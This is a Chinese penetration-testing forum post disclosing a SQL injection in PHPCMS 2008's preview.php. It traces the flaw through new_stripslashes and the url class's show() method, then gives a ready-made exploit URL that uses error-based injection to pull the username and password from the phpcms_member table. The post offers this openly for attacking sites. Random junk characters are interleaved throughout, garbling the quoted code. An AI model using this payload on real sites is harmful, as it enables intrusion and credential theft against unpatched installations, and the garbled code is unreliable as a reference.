中国网络渗透测试联盟

标题: PHPCMS 2008 最新漏洞(第二季)附EXP [打印本页]

作者: admin    时间: 2013-4-19 19:17
标题: PHPCMS 2008 最新漏洞(第二季)附EXP
说好的第二季来了......
! z6 v& Z, j# F
5 E" n/ K+ Z* ~& R: H  Q   要转摘的兄弟们,你们还是带个版权吧!   
% l& d6 o: z2 @3 Z3 p0 I# Q% ?# u0 O2 ?# s4 D
  组织 : http://www.safekeyer.com/   (欢迎访问), |+ z+ i5 h0 |5 N2 R( p( P: b
& w* [' q& B9 G; t$ d
author: 西毒    blog: http://hi.baidu.com/sethc5
% F) g9 `& h) F- {7 y& y; m( }% u* ?" D2 }  I- o) k
     
3 k+ b0 D2 Q) X+ k4 f
! e! i' b! u6 K" W# A, M' F1 W' l其实还是有蛮多漏洞的,只是我一步步来吧!你们别催,该放的时候自然就会放了.
2 x: y# o$ r( G3 Q/ T' _
+ e0 R# e7 z* o+ v过程不明显的我就省略了。
' M& M. Q5 X3 J6 \8 `
, O; H4 p1 f  B' C在preview.php 中第7行: L' D7 R! y3 G4 e- }' x. b
) s$ M5 V7 A0 H( a
$r = new_stripslashes($info);
9 R/ [3 h; k4 K
: e7 z, X4 t. j我们跟踪new_stripslashes这个函数; B) Z. f6 y: Y$ j

( D& R9 d: e8 J( ~8 J0 m在global.func.php中可以找到0 n# m5 V3 y+ a; ]5 a  M  ]

; D4 r  O/ b$ T- U& g7 j2 z1" \0 r; G- u# K$ w
2
/ P% t8 Y& g( I3) J7 O! J+ \( @& Z
4" y9 d3 R2 I* V; i5 h& s
5( }* ~1 P+ G: w# Y; ]
6 function new_stripslashes($string)
) c) \: e' N) P) c& l7 q{0 Z0 Y' s+ k7 U" O
    if(!is_array($string)) return stripslashes($string);1 F' r0 M" Z) ^& ~0 c  \# e
    foreach($string as $key => $val) $string[$key] = new_stripslashes($val);2 z0 F: G( ]1 P: ?! ?4 o. A* F
    return $string;
7 c; G/ A2 d/ l1 e6 D  i} 8 P% _' d4 R, R

, \+ \- k. A; |  T# U这个函数的功能不用解释了吧
  Y6 f1 y2 c" |- C( q: v; Y: k
4 s, h( t6 b) b" Y所以我们看具体应用点再哪?
/ w( p, K* u4 f1 @  T6 H
$ n, c- o2 V* n# D* S+ h) l8 ^1
2 v4 f$ V9 j7 c& L4 P3 U* X2
# e* z# x" r( B1 L: g' a" M3
! ?& t9 u- C' G# M4, u, [5 w, I# H
5
& t+ c) |- D; K5 V6) Z, k6 D4 _4 S- U/ O' s, L
7
" C6 X3 U0 v7 A' q3 U82 H+ ?, }0 c; a; x( b2 ?
9% B) ~$ Y* W. e) Y9 h  R
10
/ O) {& ]2 \9 }. b11
3 U$ g7 n7 O  F$ h8 q4 v$ F" @& v120 _( S( L: ]7 f" `+ ^( `! Y/ q! e  C
139 {# `0 h6 k0 V. p' Y
144 Z8 R' V, D/ V8 _# N. W$ E  h
15
+ P5 N2 p1 L3 P- ?: p* `- K16
1 c% \. C) f- `17; r% ^$ N! U5 e, Q% v8 e9 X) E+ V
186 B4 z$ b& j% T$ y7 Q
19  N# O  x' c' G9 L$ _
20
) A) R- Y$ Y6 P; W% _213 e! l3 X7 G  c- T2 I
22( _1 [0 l/ g' c
23
( Y: F; W; V$ z7 |24
- `, E- i# B* L/ J$ T% l; O257 c2 \9 ^0 u% ]& ?
260 @" T+ H+ {( l
279 {2 G& x+ U  A  m: ^$ ~
28
; m0 Z2 O( D+ _0 F2 u297 \' W4 D2 W7 V! n2 [
30
* y# t% }6 p; b" A5 z! t31
/ r' V' `/ Z6 }0 x32) K# p# C  P, p1 t' F- l
33" _0 ^# f& u- a
34
) V) B+ r* B0 O6 o35 require dirname(__FILE__).'/include/common.inc.php';, \$ H  g- C/ z/ t1 n- H
if(!$_userid) showmessage('禁止访问'); // 所以前提是我们注册个会员就ok了.
3 y! q, e. i: m4 [, c9 S# ^7 |6 srequire_once CACHE_MODEL_PATH.'content_output.class.php';
0 O/ r) \6 {' ~. m, erequire_once 'output.class.php';; f5 `& D; f- g9 B& I7 z! A
if(!is_array($info)) showmessage('信息预览不能翻页');//这里将要带进来我们的危险参数了7 _+ H# T7 s, w  T  I
$r = new_stripslashes($info);   //反转义了.....关键
7 I- D+ t* w# R9 K: ~' U$C = cache_read('category_'.$r['catid'].'.php');& i- e; T; z% i( k
$out = new content_output();
6 r; j( I/ w+ S$r['userid'] = $_userid;0 e+ G) {# X/ ~
$r['inputtime'] = TIME;. U7 B" W* t' A" Q  O7 A
$data = $out->get($r);$ J5 d- E* I  k. a6 b6 y3 D- R! Y
extract($data);
& F# Q) T( w% l6 f' b* I, d$userid = $_username;$ b; ^* `& Y" l& N6 k$ k. x
for($i=1;$i<10;$i++)
. w8 k: c* N" z1 F{
: I8 ]! ^9 S7 g5 v) G    $str_attachmentArray[$i] = array("filepath" => "images/preview.gif","description" => "这里是图片的描述","thumb"=>"images/thumb_60_60_preview.gif");
1 J# w5 S( ]$ B' x; A}
$ {8 Q2 Z; X: a        , W- P) [" x! ?- ]; B9 |
$array_images = $str_attachmentArray;
; i( M: _% J2 ~; H% R2 d' v9 y7 F$images_number = 10;
5 a( f4 D8 V+ q7 u+ f5 _- K1 v% w$allow_priv = $allow_readpoint = 1;
8 ^; q  a' w* ^8 R2 m, o/ `$updatetime = date('Y-m-d H:i:s',TIME);
; J$ k, f0 C0 e+ j        
! m  F3 w% l( J$page = max(intval($page), 1);- h% F* }' c( k8 D! P
$pages = $titles = '';
- s; k) s+ e7 f6 ]1 yif(strpos($content, '') !== false)  //这里必须还有这个这个字符.....才能操作哈6 S& K9 J2 F5 B# A4 x3 q1 d  k
{
3 F% ]+ p. e8 z! s! @+ J: Y9 d5 o    require_once 'url.class.php';. [& [4 @* m; W3 }3 p( c
    $curl = new url();. @3 Q3 c( R0 O
    $contents = array_filter(explode('', $content));" e- a  j% A- u* o  V
    $pagenumber = count($contents);
. G# |7 O9 t+ c; S$ z; n' l* w4 t1 L    for($i=1; $i<=$pagenumber; $i++)9 @0 D2 h% I  u
    {; X! [3 V6 s: H" `
        $pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']);//这里contentid进入SQL语句当中
4 g2 Q4 m1 P* b    }
, O6 l& ^- U. _其中细节我就不说了...; Z  l+ k& I1 t! ~( s$ F
, ]5 |. F$ f) T5 a
我们看看这个$curl资源句柄中的show方法
0 Z8 ?; j0 x- d% v% L+ i$ J- h4 c( E+ x9 K6 f
1 $pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']);
3 |; B: ~, S3 a4 i1 y& r6 m, w' a: H# N! a! c9 f* ^1 ]5 {
10 v. u) E7 a( b$ T% x% D
2" W( l1 h8 f# i- N/ B8 s
3
  r1 V" F, y1 w* z4
6 t. A' W5 f% l- ?# m8 i5: J% x, H+ j" e4 a# L1 V) f
6+ W, f, E# z0 _5 ^' O2 s
7
/ T! K/ H- h8 d7 I8 function show($contentid, $page = 0, $catid = 0, $time = 0, $prefix = '')$ M: q7 A; ], U% I/ M/ ?+ Z) K9 T. l
    {2 K2 {# H' `8 Y# u* J0 W3 i; ?+ u
        global $PHPCMS;
, R& k; C* X1 ~5 r5 t* P4 m        if($catid == 0 || $time == 0 || $prefix == '')5 U9 q1 f1 C4 i7 G! r
        {: g4 I) e% t2 h. x
            $r = $this->db->get_one("SELECT * FROM `".DB_PRE."content` WHERE `contentid`='$contentid'");
! S. U8 f) j3 D# `% S            if($r['isupgrade'] && !empty($r['url']))
; W+ r0 o8 h8 y            {
" U# K# j% {; Q% g% r+ t* y# T" L: y. j/ `% {9 B
所以结合前面的......我们x站了吧6 }5 M# A- Y6 }! o5 o% a. C
# j% n$ Y+ w3 r, g/ j' U2 E% J
给出exp7 V! q% w1 K2 T" e
  c" G, N2 p& [6 Z8 H
www.xxxxx.com/preview.php?info[catid]=15&content=ab&info[contentid]=2' and (select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)-- a​8 w$ d, x2 z- @. W' N

  M2 r3 l3 E9 m6 g3 e3 V4 G截图看一下6 y' a7 Q% d1 k! J, e; Y

. _. p- H9 Z/ w; q' @最后真心说句,360收购漏洞计划,价格真心低.....
& }. H! T7 C: i0 ^+ {: Rhttp://www.myhack58.com/Article/UploadPic/2013-4/2013419151239428.jpg




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2